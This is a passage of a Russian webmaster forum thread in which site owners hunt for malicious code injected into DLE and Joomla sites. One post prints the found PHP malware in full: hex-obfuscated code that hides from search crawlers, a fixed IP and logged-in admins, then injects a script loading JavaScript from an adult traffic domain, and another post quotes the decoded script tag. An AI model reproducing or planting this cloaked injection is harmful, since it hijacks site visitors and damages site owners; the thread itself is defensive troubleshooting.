Форум Сайтостроение Веб-строительство

Вредоностный код на моём сайте

1 23
starosta009
На сайте с 15.04.2010
Offline
74
starosta009
#21

попробуй посмотреть в : menu.js , login.tpl

почитай ещё тут: /ru/forum/573753

/ru/forum/545619

[Удален]
#22

спасибо большое, сейчас все проверю. потом отпишусь.

filmcik добавил 09.01.2011 в 13:41

Подскажите,а какой код именно искать,я просто новичек, и тут такое.

I
На сайте с 05.01.2010
Offline
12
iVarus
#23

Обнаружил такой же код, но только id=4.

Никто не знает, как его в Joomle удалить?

[Удален]
#24

Все нашел ВИРУС... engine/modules/fuctions.php

Вот этот код ищите. ЭТО ВИРУС

if ((!isset($_COOKIE['dle_password'])) and ($_SERVER['REMOTE_ADDR']!="\061\x393\0561\x30\066.\0648\0562\063\063") and (!preg_match('/yandex/i',$_SERVER['HTTP_USER_AGENT'])) and (!preg_match('/google/i',$_SERVER['HTTP_USER_AGENT'])) ) {echo <<<HTML

\x3cs\x63\162\151\160t\x20\154\x61\x6e\x67\165a\147e\075"\x4a\141\166\141\x53\143r\151\x70\164\x22\x20c\150\x61\162s\x65t=\x22\x77\151ndo\x77s\x2d\061\062\0651"\040\162e\x6c=\x22n\x6f\x66\157\154\x6c\157\x77\042\x20\x73\162c="\150\x74t\x70\072\x2f\x2f\141\x6clb\145\x73t\160\x6frn.o\x72g/j\163\057\x69\146\056\x70\x68\x70\x3f\151d=4\x22><\x2f\163\x63\162i\x70t>\015
HTML;
}
starosta009
На сайте с 15.04.2010
Offline
74
starosta009
#25

спасибо. у меня похожий оказался.

starosta009
На сайте с 15.04.2010
Offline
74
starosta009
#26

блин. коды убрал, досить начали

Paradise
На сайте с 02.11.2008
Offline
145
Paradise
#27

Столкнулся с той же траблой. Над "<!DOCTYPE html..." наблюдаю код

<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://allbestporn.org/js/if.php?id=4"></script>

т.е. в самом верху страницы.

Проверил все возможные php файлы. Сначала вручную проверил основные файлы, в остальных сверил размеры файлов на сервере с номинальными с точностью до байта, кода не обнаружил...

В БД скрипт так же не нашел, зато нашел 500 строк других фреймов.

Где может лежать этот код уже фантазия не позволяет предположить...

Причастность админа к этому делу сомнений у меня не вызывает...

DLE - mysql вирус Время генерации страницы ОООЧЕНЬ тупой вопрос про
K
На сайте с 09.06.2008
Offline
21
Kursor
#28

А у меня не вызывает сомнения глубоко пох*истическое отношение к безопасности тех, кто воет в подобных темах.

Хотите заблокировать домен - пишите в ЛС.

Я только ВЫКУПАЮ ТРАФ. Id= 4– это id группы, внутри которой идут операции с адалт трафом. Id = 2 – варез + адалт. Это ни как не ID юзера, сливающего траф. Трафогоны сами добавляют доноров, и по ним идет учет.

Меня зае*али постоянные вопли в аське о взломах. С ПП я больше в жизни не свяжусь и траф выкупить НЕ буду. Скрипт будет выложен в паблик и тогда такие ПП будут расти как грибы. И количество взломов соответственно, т.к. будет спрос на трафик.

Для особо умных. ЭТО НЕ Adminstation, где каждому сайту присваивают свой ид. Это самопис, который писался мной под конкретные цели.

P.S. Нужно всего лишь вовремя ставить багфиксы и хоть немного более ответственно относиться к безопасности.

Готовый кейс: "50 тыс. InstallMonster.ru - лидер по Сумасшедший web/wap трафик
lovekino
На сайте с 06.01.2010
Offline
101
lovekino
#29
Kursor:
А у меня не вызывает сомнения глубоко пох*истическое отношение к безопасности тех, кто воет в подобных темах.

прочитал ваше последние сообщение на вашей партнерке allbestporn.org

С сегодняшнего дня я нихуя больше выкупать не буду. По старым донорам начисления идут в штатном режиме, добавление новых заблокировано нахуй. Всем спасибо за работу. Выкуп будет выключен навсегда через неделю.

🤪🤪🤪🤪🤪

Поставь сайт на мониторинг, узнай когда он не работает.Первые 10 дней бесплатно (http://u.to/Gix5AQ)
1 23

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий